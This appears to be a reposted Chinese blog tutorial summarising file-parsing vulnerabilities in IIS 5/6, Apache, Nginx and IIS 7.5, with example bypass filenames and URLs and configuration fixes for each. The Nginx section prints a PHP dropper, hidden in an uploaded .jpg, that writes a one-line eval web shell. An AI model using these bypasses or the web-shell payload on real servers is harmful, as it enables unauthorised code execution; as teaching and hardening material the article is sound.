服务器解析漏洞

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了服务器解析漏洞相关的知识,希望对你有一定的参考价值。

原文链接:

  服务器解析漏洞  

  服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等方便以后回顾温习。

(一)IIS 5.x-6.x解析漏洞

  使用IIS 5.x-6.x版本的服务器,大多为Windows Server 2003,网站比较古老,网页开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理:服务器默认会把.asp、.asa目录的文件都解析成asp文件。

文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析";"号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIIS6.0默认的可执行文件除了asp之外,还包括如下三种:

/test.asa

/test.cer

/test.cdx

修复方案

1、目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2、做好权限设置,限制用户创建文件夹。

(二)Apache解析漏洞 

漏洞原理

  Apache解析文件的规则是从右到左开始判断解析的,如果后缀名为不可识别文件类型,就再向左判断。如:test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

漏洞形式

www.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在Apache的conf里有这样一行配置 AddHandler php5-script .php,这时只要文件名里包含.php,即便是test2.php.jpg也会以php来执行。

(2)如果在Apache的conf里有这样一行配置 AddType application/x-httpd-php .jpg,即便是扩展名是jpg,一样能以php方式执行。

修复方案

1、Apache配置文件,禁止.php这样的文件执行,在配置文件中加入:

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2、用伪静态能解决这个问题,重写类似.php.*这类文件,打开Apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

去掉注释"#",重启Apache,在网站根目录下创建.htaccess文件,内容如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

(三)Nginx解析漏洞

漏洞原理

  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

  “PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。”

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

  另外一种手法:上传一个名字为test.jpg,文件内容如下:

<?PHP fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>

  然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

修复方案

1、修改php.ini文件,将cgi.fix_pathinfo的值设置为0;

2、在Nginx配置文件中添加如下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) {
  return 403;
}

  这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

(四)IIS7.5解析漏洞

  IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

 

以上是关于服务器解析漏洞的主要内容,如果未能解决你的问题,请参考以下文章

文件上传漏洞及解析漏洞总结

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

Relay.js 没有正确解析组合片段

File Inclusion 代码解析 1

iis常见漏洞(中间件常见漏洞)

网站漏洞的查找利用解析漏洞来绕过上传